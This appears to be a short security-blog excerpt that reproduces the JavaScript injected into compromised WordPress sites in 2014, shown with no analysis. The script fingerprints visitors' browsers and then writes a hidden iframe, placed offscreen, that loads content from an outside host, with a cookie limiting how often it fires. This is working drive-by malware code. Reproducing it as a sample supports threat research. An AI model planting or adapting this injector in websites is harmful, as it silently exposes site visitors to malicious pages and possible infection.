Malicious code injected into WordPress sites

Malicious code injected into WordPress sites
http://blog.dynamoo.com/2014/09/malicious-wordpress-injection-sending.html
=======================
function getCookie(name) {
var Smilepize = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
));
return Smilepize ? decodeURIComponent(Smilepize[1]) : undefined;
}
function Pleos_Aflertuder() {
var r_amblartide = navigator.userAgent;
var Yellowgrand = (r_amblartide.indexOf("IEMobile") > -1 || r_amblartide.indexOf("Windows NT 6.3") > -1 || r_amblartide.indexOf("Windows NT 6.2") > -1 || r_amblartide.indexOf("Chrome") > -1 || r_amblartide.indexOf("Windows") < +1);
var Ultrastilus = (getCookie("Garamg18usality") === undefined);
if (!Yellowgrand && Ultrastilus) {
document.write('<iframe src="http://sexyunanu.inthepress.org/bububiolasa16.html" style="left: -902px;font-size: 100%;border-right-width: 10px;border-left-style: dotted;border-left-width: 10px;background-color: rgb(95, 0, 95);border-right-color: #400D12;position: absolute;border-right-style: solid;height: 100px;width: 100px;font-family: "Courier New", Courier, monospace;top: -902px;text-align: center;"></iframe>');
var date = new Date( new Date().getTime() + 66*60*60*1000 );
document.cookie="Garamg18usality=1; path=/; expires="+date.toUTCString();
}
}
Pleos_Aflertuder();